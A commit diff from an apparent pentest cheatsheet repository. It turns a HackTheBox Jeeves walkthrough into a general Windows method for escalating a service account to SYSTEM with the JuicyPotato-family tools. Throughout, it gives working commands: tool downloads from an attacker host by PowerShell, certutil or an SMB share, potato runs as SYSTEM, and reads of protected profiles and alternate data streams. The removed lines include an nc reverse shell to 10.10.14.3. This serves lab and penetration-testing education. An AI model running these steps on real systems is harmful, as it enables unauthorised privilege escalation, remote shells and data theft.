daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

commit 275cf76649623435ac6cb8e3e73b7a33306e4939
parent 81a612c5e9dbae5206d3782a7b0d5f261c6eccfd
Author: DAEMON <zer0sec.xp@icloud.com>
Date:   Tue, 15 Sep 2026 05:07:53 +0100

docs: generalise Potato & ADS guide into a repeatable field method

Replace the Jeeves-only worked example with a general "find and land a
SeImpersonate -> SYSTEM chain" method: spotting impersonation rights via
whoami /priv and /groups (the NT AUTHORITY\SERVICE + High-integrity tell),
fingerprinting the OS build to pick an era-correct potato around the 2018
DCOM hardening split, transferring the binary over an SMB share when
curl/wget/certutil are absent, driving potatoes non-interactively with output
redirected to a readable file, and using dir /r to surface ADS-hidden data as
SYSTEM.

Explains why JuicyPotatoNG's "failed to communicate with our COM Server" and
GodPotato's 0x80070776 (OR_INVALID_OXID) failures mean "wrong tool for the
era, not wrong port," and keeps HTB Jeeves (build 10586) as one worked case
study. Fixes the in-page ADS anchor.

Diffstat:
Msrc/content/sheets/pentest-workflow/potato-attacks-and-ads-guide.md | 193+++++++++++++++++++++++++++++++++++++++++++++++++------------------------------
1 file changed, 120 insertions(+), 73 deletions(-)

diff --git a/src/content/sheets/pentest-workflow/potato-attacks-and-ads-guide.md b/src/content/sheets/pentest-workflow/potato-attacks-and-ads-guide.md @@ -501,127 +501,174 @@ Remove-Item C:\Windows\Temp\notes.txt -Stream stash --- -## Worked example — HTB Jeeves (JuicyPotato → SYSTEM → ADS-hidden flag) `fas:Spider` +## Field method — finding and landing a SeImpersonate → SYSTEM chain `fas:Route` -Jeeves is the canonical box for this guide because it exercises *both halves at once*: a `SeImpersonate` service account escalates to SYSTEM with JuicyPotato, and the root flag is hidden in an **NTFS Alternate Data Stream**. Learn the moves here and you can run the same play on any box where a service account holds impersonation rights. - -**The setup.** Foothold is an unauthenticated Jenkins script console on port `50000`, which runs as `JEEVES\kohsuke` — a service account that holds `SeImpersonatePrivilege`. The host is **Windows 10 build 10586 (1511)**, which predates the October 2018 (1809) DCOM hardening that killed the original JuicyPotato technique. That single fact decides the tool: **legacy JuicyPotato works here; JuicyPotatoNG was built for later Windows and will likely misfire.** +The potatoes are the easy part. The skill is the four steps *around* them: recognise that your shell holds impersonation rights, fingerprint the host so you pick a tool that actually fires on **this** build, get the binary across when the box has no download tools, then drive it non-interactively and read the result. Below is that method as a repeatable loop. A single awkward old box — HTB Jeeves, Windows 10 build 10586 — runs underneath as a case study, because the boxes where the *newest* potato fails are exactly the ones that teach you why fingerprinting matters. ```mermaid %%{init: {'theme':'base','themeVariables':{'background':'#191724','primaryColor':'#26233a','primaryTextColor':'#e0def4','primaryBorderColor':'#c4a7e7','lineColor':'#9ccfd8','secondaryColor':'#1f1d2e','tertiaryColor':'#31748f'}}}%% -flowchart LR - A["Jenkins :50000\nscript console"] --> B["RCE as JEEVES\\kohsuke\n(has SeImpersonate)"] - B --> C["JuicyPotato\n(BITS CLSID, free -l port)"] - C --> D["SYSTEM\n(non-interactive: redirect\noutput to C:\\Users\\kohsuke)"] - D --> E["dir /r reveals\nhm.txt:root.txt:$DATA"] - E --> F["more < hm.txt:root.txt\n→ root flag"] +flowchart TD + A["1 · whoami /priv + /groups\nSeImpersonate? SERVICE token?"] --> B["2 · systeminfo → OS build\nchoose tool by DCOM era"] + B --> C["3 · Transfer the binary\ncertutil / IWR / SMB share"] + C --> D["4 · Fire non-interactively\noutput → a file you can read"] + D --> E{"authresult 0 /\nNT AUTHORITY\\SYSTEM?"} + E -->|No| B2["Wrong tool for the era —\nswitch potato, not port"] + B2 --> B + E -->|Yes| F["5 · SYSTEM recon:\ndir /r other profiles → read ADS,\ncreds, hives, flags"] ``` -### The transferable pattern — non-interactive potato, output to a file you can read +### 1 · Spot the opportunity — is your token weaponisable? `fas:Terminal` -Legacy JuicyPotato (like GodPotato, EfsPotato, RoguePotato) does **not** hand you a live shell — it runs one command as SYSTEM and exits. So you make SYSTEM write its output somewhere your *current* low-priv user can read (your own profile, `C:\Users\kohsuke\`), then read it back. That is why every command below ends in `> C:\Users\kohsuke\out.txt 2>&1`. This pattern works from any cramped context — a Jenkins console, a web shell, `xp_cmdshell` — where you can't hold an interactive session. +Two commands tell you whether a potato is even on the table: -Three knobs you set every time: +```batch +whoami /priv :: look for SeImpersonatePrivilege / SeAssignPrimaryTokenPrivilege +whoami /groups :: look for NT AUTHORITY\SERVICE (S-1-5-6) and the integrity level +``` -- **`-l <port>` — COM listen port.** Must be free. On Jeeves, ports **80, 135, 445, 50000** are taken, so pick something else (`53375` is a fine arbitrary high port). Confirm with `netstat -ano | findstr ":53375 "` — no output means it's free. -- **`-c <CLSID>` — the COM object to activate.** It must map to a service that runs as SYSTEM *and* be valid for this exact OS build. The **BITS** CLSID `{4991d34b-80a1-4291-83b6-3328366b9097}` is a reliable pick on older builds. Per-OS CLSID lists: [ohpe.it/juicy-potato/CLSID](http://ohpe.it/juicy-potato/CLSID/). -- **`-t *` — token call.** Try both `CreateProcessWithTokenW` and `CreateProcessAsUser`; whichever your privilege allows fires. +`whoami /priv` is the direct check, but on stripped shells it's sometimes truncated or lies. `whoami /groups` is the corroborating tell: membership in **`NT AUTHORITY\SERVICE` (S-1-5-6)** means you're running as a *service*, and service accounts almost always carry `SeImpersonate`. A `High Mandatory Level` label alongside it says the process is already high-integrity — common for service RCE. That combination (`BUILTIN\Users` + `NT AUTHORITY\SERVICE` + High integrity) is the fingerprint of "web/app service account that can be potatoed," even before you confirm the privilege. -### Step 1 — stage the tools and confirm the privilege +Where you land in that context: -```batch -:: from the Jenkins console / your kohsuke shell — C:\Users\kohsuke is writable -certutil -urlcache -f http://10.10.14.3/JuicyPotato.exe C:\Users\kohsuke\jp.exe -certutil -urlcache -f http://10.10.14.3/nc64.exe C:\Users\kohsuke\nc.exe +- **IIS AppPool** identities (ASPX/PHP web shells on IIS). +- **MSSQL** service accounts (`xp_cmdshell`). +- **App-server RCE** — Jenkins, Tomcat, GitLab runners, ColdFusion. *On Jeeves this is an unauthenticated Jenkins script console on `:50000`, running as `JEEVES\kohsuke` — `whoami /groups` shows `NT AUTHORITY\SERVICE` and High integrity, so the privilege is there even though `whoami /priv` output was minimal.* +- Any **cracked service credential** you can `runas`/`psexec` with. -whoami /priv :: expect SeImpersonatePrivilege = Enabled -``` +### 2 · Fingerprint the host — the DCOM era decides your tool `fas:MagnifyingGlass` -### Step 2 — prove SYSTEM (the read-back pattern) +This is the step most write-ups skip, and it's why "just run the newest potato" fails. Get the exact build first: ```batch -:: run whoami as SYSTEM, send the result to a file you can read -C:\Users\kohsuke\jp.exe -l 53375 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c whoami > C:\Users\kohsuke\whoami.txt 2>&1" -t * -type C:\Users\kohsuke\whoami.txt -:: -> nt authority\system (the exploit worked) +systeminfo | findstr /B /C:"OS Name" /C:"OS Version" +:: or, quicker: +ver +``` +```powershell +[environment]::OSVersion.Version # e.g. 10.0.10586.0 ``` -### Step 3 — find the ADS on the Administrator desktop +Now the concept that ties the whole family together — **the DCOM hardening line of September 2018 (Windows 10 1809 / Server 2019):** -This is exactly the command you pasted — run `dir /r` **as SYSTEM** (kohsuke can't read the Administrator profile), redirected to your file: +- The **original** RottenPotato → JuicyPotato technique abuses `CoGetInstanceFromIStorage`: it kicks off a DCOM activation of a SYSTEM-owned CLSID and hands it a marshalled object that points OXID resolution at **`127.0.0.1:<your -l port>`**. `RPCSS` (SYSTEM) dutifully authenticates to that local port over NTLM; the tool catches that auth, negotiates a SYSTEM token, and impersonates it. Pick a CLSID that runs as SYSTEM and a free local port, and it fires. +- The **1809 / Server 2019 patch** changed DCOM so that OXID resolution no longer honours your custom port — it's forced back to port 135. That single change **killed the original JuicyPotato on 1809 and later.** +- **JuicyPotatoNG** (decoder_it & splinter_code) is the *re-do for the post-patch world*: it uses a different CLSID (the PrintNotify service, `{854A20FB-2D44-457D-992F-EF13785D2B51}`, on default port 10247) and a local SSPI/COM negotiation trick that survives the hardening. **PrintSpoofer** (Spooler named pipe) and **GodPotato** (in-process fake OXID resolver) are the other post-patch answers. +So legacy and NG are built for **opposite eras**, and newer is not better: + +| Target build | First choice | Why | +|---|---|---| +| Win10 ≤ 1803 / Server 2016 / **build 10586** | **Legacy JuicyPotato** | Pre-hardening — the `-l`-port OXID redirect still works; NG/GodPotato often *don't* on these old builds | +| Win10 1809+ / Server 2019+ / Win11 | **PrintSpoofer** (Spooler up) → **GodPotato** → **JuicyPotatoNG** | Post-hardening — the original is dead; these are the workarounds | + +Check the Spooler if you're eyeing PrintSpoofer: `sc query spooler` → `RUNNING`. Per-OS CLSID tables for JuicyPotato live at [ohpe.it/juicy-potato/CLSID](http://ohpe.it/juicy-potato/CLSID/); the **BITS** CLSID `{4991d34b-80a1-4291-83b6-3328366b9097}` is a dependable SYSTEM-owning pick across many builds. + +### 3 · Land the binary when the box has no download tools `fas:RocketLaunch` + +Old and minimal Windows often has **no `curl`, no `wget`, no `certutil` you can rely on** (`curl.exe` only shipped with build 17063 in 2017 — Jeeves' 10586 has none of them). Work down this ladder: + +```powershell +# Best case — PowerShell is present +Invoke-WebRequest http://10.10.14.3/jp.exe -OutFile C:\Users\kohsuke\jp.exe +(New-Object Net.WebClient).DownloadFile('http://10.10.14.3/jp.exe','C:\Users\kohsuke\jp.exe') +``` ```batch -C:\Users\kohsuke\jp.exe -l 53375 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c dir /r C:\Users\Administrator\Desktop > C:\Users\kohsuke\ads.txt" -t * -type C:\Users\kohsuke\ads.txt +:: If certutil exists +certutil -urlcache -f http://10.10.14.3/jp.exe C:\Users\kohsuke\jp.exe ``` -`dir /r` prints the streams next to each file. Jeeves shows the tell-tale line: +When none of those work, fall back to an **SMB share** — the reliable transport on stripped hosts: -```text - 0 hm.txt - 34 hm.txt:root.txt:$DATA +```bash +# On your box — SMBv2 + auth (modern Windows refuses guest/anonymous SMB) +impacket-smbserver SHARE /tmp/share -smb2support -user temp -password temp +``` +```batch +:: On the target — map, copy, then clean up the mapping when done +net use Z: \\10.10.14.3\SHARE /user:temp temp +copy Z:\JuicyPotato.exe . +copy Z:\nc64.exe . +... :: run your attack +net use Z: /delete ``` -`hm.txt` looks empty (0 bytes in its default stream), but it carries a **34-byte named stream** `root.txt` — the flag lives there. Plain `dir`, `type hm.txt`, and Explorer all miss it. +Stage into a directory your account owns and can execute from — your own profile (`C:\Users\<you>\`) or `C:\Windows\Temp`. You can also run straight off the share (`Z:\jp.exe ...`) if you'd rather not drop the file. -### Step 4 — read the ADS-hidden flag (as SYSTEM) +### 4 · Fire it non-interactively and actually read the output `fas:Terminal` -`more <` is the reliable stream reader from `cmd`. Run it as SYSTEM and redirect the result back to yourself: +Legacy JuicyPotato, GodPotato, EfsPotato and RoguePotato **don't hand you a shell** — they run one command as SYSTEM and exit. So make SYSTEM write its output somewhere your low-priv user can read, then read it back: ```batch -C:\Users\kohsuke\jp.exe -l 53375 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c more < C:\Users\Administrator\Desktop\hm.txt:root.txt > C:\Users\kohsuke\root.txt 2>&1" -t * -type C:\Users\kohsuke\root.txt -:: -> the root flag +JuicyPotato.exe -l 53375 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\Users\kohsuke\out.txt 2>&1" -t * +type C:\Users\kohsuke\out.txt ``` -Prefer a full shell over one-liners? Swap the payload for a reverse-shell callback (catch with `nc -lnvp 443`), then read the stream interactively as SYSTEM: +The three knobs, and the traps behind each: -```batch -C:\Users\kohsuke\jp.exe -l 53375 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c C:\Users\kohsuke\nc.exe 10.10.14.3 443 -e cmd.exe" -t * -:: then in the SYSTEM shell: -more < C:\Users\Administrator\Desktop\hm.txt:root.txt -``` +- **`-t *`** — try both `CreateProcessWithTokenW` (needs SeImpersonate) and `CreateProcessAsUser` (needs SeAssignPrimaryToken). A win prints `[+] authresult 0` and `NT AUTHORITY\SYSTEM`. +- **`-l <port>` — a free local port.** Confirm with `netstat -ano | findstr ":53375 "` (no output = free). **Trap:** a *failed* run also produces the output file — from your redirect, not from SYSTEM. Always `type` it and confirm it says `nt authority\system`; an empty file or a `whoami` usage error means the exploit didn't run, not that you're SYSTEM. +- **`-a "<args>"` must be one clean line.** **Trap seen live:** pasting a long command into a raw shell can wrap the line and split the `-a` string, so `whoami` runs with a stray argument and your output file contains `ERROR: Invalid argument/option - ''`. That's a mangled paste, not a broken exploit — retype it on one line. + +> [!warning]+ "The privileged process failed to communicate with our COM Server" is (usually) not a port problem +> `fas:TriangleExclamation` +> JuicyPotatoNG prints this same line whenever no SYSTEM authentication reaches its local COM server within its ~3-second window — and it *suggests* trying another `-l` port, which sends people down a rabbit hole. If you've already confirmed the port is free (or `-s` says the firewall is off and every port should work) and it still fails on **every** port and **every** CLSID, the port was never the issue: **the trigger is incompatible with this OS build.** NG's CLSID triggers and local TCP handling were engineered for post-1809 Windows; on a pre-hardening build like 10586 the privileged process never routes its auth back to NG's socket, so it times out with the generic error. GodPotato can fail on the same old builds too — its OXID unmarshal returns `0x80070776` (`OR_INVALID_OXID`, "the object exporter specified was not found") and it reports `Failed to impersonate security context token`. The fix is not a different port; it's the **era-correct tool** — drop to the original JuicyPotato, which uses the pre-hardening technique the box still permits. -### If you reach for JuicyPotatoNG first — the `-s` triage and when to fall back +### 5 · Read what only SYSTEM can see — including ADS `ris:FileList` -On a *modern* target you'd try NG before the legacy tool. NG's `-s` is a standalone reconnaissance mode — run it by itself: +SYSTEM lets you into other users' profiles, and that's where the interesting things hide — credentials, KeePass databases, second-stage tooling, and data tucked into **Alternate Data Streams**. Make `dir /r` a reflex on every profile and desktop, because plain `dir` and Explorer never show streams: ```batch -JuicyPotatoNG.exe -s +:: as SYSTEM, list streams under a profile you couldn't read before +JuicyPotato.exe -l 53376 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p C:\Windows\System32\cmd.exe -a "/c dir /r C:\Users\Administrator\Desktop > C:\Users\kohsuke\ads.txt 2>&1" -t * +type C:\Users\kohsuke\ads.txt ``` -It reports one of two things: +A tell-tale stream line looks like this — a file whose visible content is tiny, carrying a named `$DATA` stream beside it: -- **`Found non filtered port` entries** — pick a free one that isn't already taken (on Jeeves, avoid 80/135/445/50000). Confirm with `netstat -ano | findstr ":49670 "` (no output = free). -- **`Windows Defender Firewall not enabled. Every COM port will work.`** — any port is fair game. +```text + 36 hm.txt + 34 hm.txt:root.txt:$DATA +``` -Then retry the default (PrintNotify) CLSID on that port, and if that's silent, try the BITS CLSID: +Then read the stream (as SYSTEM if the file isn't yours), redirecting to a file you can open: ```batch -:: default CLSID -JuicyPotatoNG.exe -t * -l 49670 -p "C:\Windows\System32\cmd.exe" -a "/c whoami > C:\Users\kohsuke\ng-default.txt 2>&1" -type C:\Users\kohsuke\ng-default.txt - -:: BITS CLSID (49671 is only an example — use a port -s reported) -JuicyPotatoNG.exe -t * -l 49671 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p "C:\Windows\System32\cmd.exe" -a "/c whoami > C:\Users\kohsuke\ng-bits.txt 2>&1" -type C:\Users\kohsuke\ng-bits.txt +JuicyPotato.exe -l 53377 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p C:\Windows\System32\cmd.exe -a "/c more < C:\Users\Administrator\Desktop\hm.txt:root.txt > C:\Users\kohsuke\flag.txt 2>&1" -t * +type C:\Users\kohsuke\flag.txt ``` -> [!warning]+ `The privileged process failed to communicate with our COM Server` on Jeeves -> `fas:TriangleExclamation` -> If `-s` says the firewall is off (every port should work) but both CLSIDs still return this generic error, the problem isn't the port — it's a **trigger incompatibility**. NG prints the same message whenever no authentication arrives within its ~3-second window, and its COM triggers / local TCP handling were designed for newer Windows than Jeeves' 10586. Stop tuning ports and CLSIDs and fall back to the legacy tool: +`more <` is the dependable stream reader from `cmd`; from a real SYSTEM shell you'd just run `more < C:\Users\Administrator\Desktop\hm.txt:root.txt` (or `Get-Content ... -Stream root.txt`). The same move finds creds and staged payloads parked in streams on any box — see the full [Alternate Data Streams](#ntfs-alternate-data-streams-ads-risfilelist) section above for listing, reading, and hiding. + +> [!example]+ Case study — HTB Jeeves (build 10586): the sequence that actually worked +> `fas:Spider` +> Every "newer" potato failed here, which is the whole lesson. The console showed: +> - `PrintSpoofer64.exe` / `JuicyPotatoNG.exe` — *not staged yet* (`not recognized`), so transfer first. +> - `JuicyPotatoNG` (default PrintNotify CLSID on 10247, then ports 9999 / 53375, then BITS CLSID) — **every attempt** returned `failed to communicate with our COM Server`. Not a port problem: 10586 is pre-hardening, so NG's trigger never completes. +> - `GodPotato-NET4` — `UnmarshalObject: 0x80070776` → `Failed to impersonate security context token`. Same story: OXID unmarshal doesn't resolve on this build. +> +> The era-correct tool won on the first try: > ```batch -> JuicyPotato.exe -l 53375 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p "C:\Windows\System32\cmd.exe" -a "/c whoami > C:\Users\kohsuke\original-jp.txt 2>&1" -t * -> type C:\Users\kohsuke\original-jp.txt +> :: 1) no curl/wget/certutil — pull tools over SMB +> net use Z: \\10.10.14.197\SHARE /user:temp temp +> copy Z:\JuicyPotato.exe . +> :: 2) legacy JuicyPotato, BITS CLSID, free port → SYSTEM +> JuicyPotato.exe -l 53375 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\Users\kohsuke\system-check.txt 2>&1" -t * +> type system-check.txt :: -> nt authority\system ([+] authresult 0 / CreateProcessWithTokenW OK) +> :: 3) find the ADS, then read it — both as SYSTEM +> JuicyPotato.exe -l 53376 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p C:\Windows\System32\cmd.exe -a "/c dir /r C:\Users\Administrator\Desktop > C:\Users\kohsuke\ads.txt 2>&1" -t * +> type ads.txt :: -> ... 34 hm.txt:root.txt:$DATA +> JuicyPotato.exe -l 53377 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p C:\Windows\System32\cmd.exe -a "/c more < C:\Users\Administrator\Desktop\hm.txt:root.txt > C:\Users\kohsuke\flag.txt 2>&1" -t * +> type flag.txt :: -> the root flag > ``` -> Rule of thumb: **legacy JuicyPotato for ≤ Win10 1803 / Server 2016; JuicyPotatoNG for later builds.** Jeeves (10586) is squarely legacy territory. -> [!success]+ What to carry to the next box +> [!success]+ The transferable checklist > `fas:Lightbulb` -> 1. **Match the tool to the OS build**, not to what's newest — `[environment]::OSVersion.Version` first, always. -> 2. **No shell? Redirect to a file you own** (`> C:\Users\<you>\out.txt 2>&1`) and `type` it back — the universal non-interactive potato pattern. -> 3. **Pick a free `-l` port** and a **SYSTEM-owning CLSID valid for the build** (BITS is a safe default on older Windows). -> 4. **Always `dir /r` the target's Desktop/profile** — flags, creds, and second-stage tools get parked in ADS exactly like Jeeves' `hm.txt:root.txt`. +> 1. **`whoami /priv` *and* `/groups`** — `SeImpersonate`, or `NT AUTHORITY\SERVICE` + High integrity, means go. +> 2. **`systeminfo` first** — the OS build, not the calendar, picks the tool. Pre-1809 → original JuicyPotato; 1809+ → PrintSpoofer / GodPotato / NG. +> 3. **No download tools? Use an SMB share** (`impacket-smbserver -smb2support -user … -password …` ↔ `net use`), then `net use … /delete`. +> 4. **No shell? Redirect to a file you own** and `type` it back — and *read* it to confirm `nt authority\system`, since a failed run leaves a file too. +> 5. **A generic "try another port" error on every port = wrong tool for the era, not the wrong port.** +> 6. **`dir /r` every profile you couldn't read before** — flags, creds, and payloads get parked in ADS. ---